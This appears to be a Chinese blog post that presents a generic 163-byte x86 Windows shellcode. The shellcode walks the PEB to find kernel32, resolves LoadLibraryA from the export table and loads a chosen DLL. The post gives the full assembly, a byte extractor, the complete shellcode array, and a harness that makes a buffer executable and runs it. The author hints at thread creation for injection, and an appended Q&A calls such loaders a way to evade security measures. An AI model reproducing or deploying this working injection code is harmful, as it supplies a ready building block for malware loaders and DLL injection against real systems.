通用型ShellCode,加载指定DLL模块

最近研究PE的时候,用到一些技术涉及到ShellCode,于是想找一个通用型的,不用手工再去修正的代码,找了一些做参考,稍作修改,终于做成了一个通用ShellCode,163字节,还是挺大的,不过不影响,抛砖引玉,仅作参考,大家可以自行去优化。

 

一、全部汇编代码如下:

 

void __declspec(naked) myShellCode( const char * lpszDllPathName )
{
	__asm
	{
		push ebp
		mov ebp, esp
		
		pushad
		pushfd

		sub esp, 0x28
		mov ecx, 0xA
		mov eax, 0xCCCCCCCC
		lea edi, dword ptr [ebp-0x4c]
		rep stosd
			
		push 0x0
		push 0x41797261
		push 0x7262694c
		push 0x64616f4c

		mov eax, fs:[0x30]						 // fs points to teb in user mode,get pointer to peb
		mov eax, [eax+0x0c]					 // get peb->ldr
		mov eax, [eax+0x14]					 // get peb->ldr.InMemoryOrderModuleList.Flink(1st entry)
														 
module_loop:								    
		mov eax, [eax]							 // skip the first entry or get the next entry
		mov esi,  [eax+0x28]					 // get the BaseDllName->Buffer
		cmp byte ptr [esi+0x0c], '3'		 // test the module's seventh's wchar is '3' or not,kernel32.dll
		jne module_loop						  
														 
		mov eax,  [eax+0x10]				 // LDR_DATA_TABLE_ENTRY->DllBase
		mov edi, eax							  
		add edi, [edi+0x3c]					 // IMAGE_DOS_HEADER->e_lfanew
		mov edi, [edi+0x78]					 // IMAGE_NT_HEADERS->OptinalHeader.DataDirectory[EAT].VirtualAddress
		add edi, eax								 // RVA + IMAGEBASE = EAT VA
		mov ebx, edi								 // ebx is EAT's virtual address,we’ll use it later
		mov edx, [ebx+0x20]					 //	PIMAGE_EXPORT_DIRECTORY -> AddressOfNames
		add edx, eax								 // edi -> EAT NAME TABLE
		mov dword ptr [ebp-0x4c], 0     
														 
name_loop:										 // 遍历EAT名称表
		mov esi, ebp							 
		sub esi, 0x5c							   
		mov ecx, dword ptr [ebp-0x4c]  
		mov edi, [edx+ecx*4]				 
		add edi,eax								 // esi -> FUNCTION NAME	Addr	
		add dword ptr [ebp-0x4c], 0x1   
		mov ecx, 0xc							 
		rep cmpsb								  
		jne name_loop							 // 名称不同下一个
														 
		mov edi, [ebx+0x24]					 // PIMAGE_EXPORT_DIRECTORY -> AddressOfNameOrdinals
		add edi, eax							   
		mov ecx, dword ptr [ebp-0x4c]  
		mov ecx, [edi+ecx*2]					 // 取得函数序号
		and ecx, 0xFFFF							 // cause ordinal is USHORT of size,so we just use its lower 16-bits
		mov edi, dword ptr [ebx+0x10]  
		sub ecx, edi								 // 减去基得到实际数组下标
														 
		mov edi, [ebx+0x1c]					 // PIMAGE_EXPORT_DIRECTORY -> AddressOfFunctions
		add edi, eax							   
		mov edi, [edi+ecx*4]				 
		add eax, edi								 // 函数VA	
														 
		mov ebx, dword ptr [ebp+8]		 // CALL LoadLibraryA
		push ebx
		call eax

		add esp, 0x38

		popfd
		popad
		mov esp, ebp
		pop ebp
		ret
	}
}


 

 

二、我修改之后也加了一些注释,下面来总结下整个流程吧:

 

   1、构建函数新栈,保存寄存器数据,填充,在栈中构建 LoadLibraryA字符串 。

 

   2、获取TEB,再得到PEB,遍历模块链表查找 kernel32.dll,这里偷懒了,直接对比第七位是不是'3',感觉有些悬。。。。懒得改了。

 

   3、通过模块结构得到DLL基址,跳过IMAGE_DOS_HEADER找到NT Option Header, 通过数据目录找到EAT表。

 

   4、遍历EAT表的名称表,对比函数名字是否是 LoadLibraryA,并保存在表中的索引

 

   5、直接定位EAT表中对应的序数表,序数减去base得到函数索引。

 

   6、定位对应的EAT函数地址表,取得函数RVA加上DLL基址既是函数内存地址。

 

   7、取得传入的DLL名字,调用 LoadLibraryA 加载dll到当前进程空间。

 

   8、恢复寄存器,平衡堆栈。

 

 

三、提取shellCode字节码。

 

   我们的ShellCode已经打造好了,直接调用,没有问题,至于提取成字节码,我看到很多人都是通过反汇编,然后一个一个去整理,163个字节啊兄弟,163个0x,163个逗号啊,,,想想都觉得蛋疼,于是我就想着能不能投机取巧呢?

   答案是肯定的,我们可以直接用C++代码来提取:

 

	DWORD dwShellCode = (DWORD)myShellCode;
	while ( true )
	{
		unsigned char data = *((unsigned char *)dwShellCode);

		if ( data == 0xCC )
		{
			if ( *((PDWORD)dwShellCode) == 0xCCCCCCCC && *((PDWORD)dwShellCode + 1) == 0xCCCCCCCC )
				break;
		}

		char stBuff[10] = {0};
		sprintf_s(stBuff, 10, "0x%02X,", data);
		OutputDebugStringA(stBuff);

		dwShellCode++;
	}

 

   注意,要用Release版本调试运行,因为Debug版本没有优化,函数是间接调用,用这个的话肯定就出错了,优化之后,函数名才是函数真正的起始地址,这样,我们的ShellCode就全部打印出来了,省时省力,轻松简单。我们只需要加上括号就可以了:

 

 	unsigned char shellcode[] = { 0x55,0x8B,0xEC,0x60,0x9C,0x83,0xEC,0x28,0xB9,0x0A,0x00,0x00,0x00,0xB8,0xCC,0xCC,0xCC,
												  0xCC,0x8D,0x7D,0xB4,0xF3,0xAB,0x6A,0x00,0x68,0x61,0x72,0x79,0x41,0x68,0x4C,0x69,0x62,
												  0x72,0x68,0x4C,0x6F,0x61,0x64,0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,
												  0x14,0x8B,0x00,0x8B,0x70,0x28,0x80,0x7E,0x0C,0x33,0x75,0xF5,0x8B,0x40,0x10,0x8B,0xF8,
												  0x03,0x7F,0x3C,0x8B,0x7F,0x78,0x03,0xF8,0x8B,0xDF,0x8B,0x53,0x20,0x03,0xD0,0xC7,0x45,
												  0xB4,0x00,0x00,0x00,0x00,0x8B,0xF5,0x83,0xEE,0x5C,0x8B,0x4D,0xB4,0x8B,0x3C,0x8A,0x03,
												  0xF8,0x83,0x45,0xB4,0x01,0xB9,0x0C,0x00,0x00,0x00,0xF3,0xA6,0x75,0xE6,0x8B,0x7B,0x24,
												  0x03,0xF8,0x8B,0x4D,0xB4,0x8B,0x0C,0x4F,0x81,0xE1,0xFF,0xFF,0x00,0x00,0x8B,0x7B,0x10,
												  0x2B,0xCF,0x8B,0x7B,0x1C,0x03,0xF8,0x8B,0x3C,0x8F,0x03,0xC7,0x8B,0x5D,0x08,0x53,0xFF,
												  0xD0,0x83,0xC4,0x38,0x9D,0x61,0x8B,0xE5,0x5D,0xC3 };

 


 

四、怎么测试我们的ShellCode 呢?

 

int _tmain(int argc, _TCHAR* argv[])
{
 	unsigned char shellcode[] = { 0x55,0x8B,0xEC,0x60,0x9C,0x83,0xEC,0x28,0xB9,0x0A,0x00,0x00,0x00,0xB8,0xCC,0xCC,0xCC,
												  0xCC,0x8D,0x7D,0xB4,0xF3,0xAB,0x6A,0x00,0x68,0x61,0x72,0x79,0x41,0x68,0x4C,0x69,0x62,
												  0x72,0x68,0x4C,0x6F,0x61,0x64,0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,
												  0x14,0x8B,0x00,0x8B,0x70,0x28,0x80,0x7E,0x0C,0x33,0x75,0xF5,0x8B,0x40,0x10,0x8B,0xF8,
												  0x03,0x7F,0x3C,0x8B,0x7F,0x78,0x03,0xF8,0x8B,0xDF,0x8B,0x53,0x20,0x03,0xD0,0xC7,0x45,
												  0xB4,0x00,0x00,0x00,0x00,0x8B,0xF5,0x83,0xEE,0x5C,0x8B,0x4D,0xB4,0x8B,0x3C,0x8A,0x03,
												  0xF8,0x83,0x45,0xB4,0x01,0xB9,0x0C,0x00,0x00,0x00,0xF3,0xA6,0x75,0xE6,0x8B,0x7B,0x24,
												  0x03,0xF8,0x8B,0x4D,0xB4,0x8B,0x0C,0x4F,0x81,0xE1,0xFF,0xFF,0x00,0x00,0x8B,0x7B,0x10,
												  0x2B,0xCF,0x8B,0x7B,0x1C,0x03,0xF8,0x8B,0x3C,0x8F,0x03,0xC7,0x8B,0x5D,0x08,0x53,0xFF,
												  0xD0,0x83,0xC4,0x38,0x9D,0x61,0x8B,0xE5,0x5D,0xC3 };
 	
	const char * lpszDll = "asm_dll.dll";
	SIZE_T nSize = sizeof(shellcode);
	DWORD dwOldProtect = NULL;
	VirtualProtect( shellcode, nSize, PAGE_EXECUTE_READWRITE, &dwOldProtect );
	
	__asm
	{
		push lpszDll
		lea eax, shellcode
		call eax
		add esp, 0x4
	}

	VirtualProtect( shellcode, nSize, dwOldProtect, NULL );
}

 


注意:因为我们定义的这个ShellCode所在的内存没有执行权限,所以我们得修改内存属性,可读可写可执行,然后传参数,取ShellCode地址,直接调用,平衡堆栈。我们只要在dll加载时创建线程,这样就能成功让我们的代码自由自在的飞了。

 

 

 

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Python shellcode 加载器是一个程序,它能够从字节串中动态地加载和执行二进制代码。这种技术通常用于绕过安全措施,因为它可以避免将可疑代码写入硬盘驱动器或在文件中进行存储,而是将其保存在内存中直接执行。 ### 回答2: Python shellcode加载器是一种用Python编写的程序,用于加载和执行Shellcode(一段机器码,通常用于执行系统级操作)的工具。Shellcode加载器通常用于渗透测试、恶意软件开发或安全研究等领域。 Python shellcode加载器的实现主要包括以下几个步骤: 1. 解析Shellcode加载器首先需要解析Shellcode,将其转换为可执行的格式。这包括解析Shellcode的字节序列、指令等。 2. 构建可执行载体:加载器需要构建一个可执行的载体程序,用于将Shellcode加载到内存中执行。这个载体程序可以是Python脚本,也可以是其他编程语言编写的程序。 3. 加载和执行Shellcode加载器将Shellcode加载到内存中,并在适当的内存位置执行Shellcode。为了提高Shellcode的执行效率和稳定性,加载器通常会在内存中申请合适大小的空间,并将Shellcode复制到这个地址。 4. 执行后续操作:一旦Shellcode执行完成,加载器可以根据需要进行后续操作,如输出结果、清理内存等。 Python shellcode加载器的优点在于使用简便、跨平台性好以及Python本身的强大功能。通过使用Python的相关库和模块,可以方便地实现Shellcode加载器,并完成Shellcode加载和执行。此外,Python shellcode加载器还可以与其他工具或环境配合使用,如反射DLL注入、远程执行等,提供更多的功能和灵活性。 总而言之,Python shellcode加载器是一种用Python编写的工具,用于加载和执行Shellcode的程序。它能够方便地解析、加载和执行Shellcode,并提供了更多的灵活性和功能扩展。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值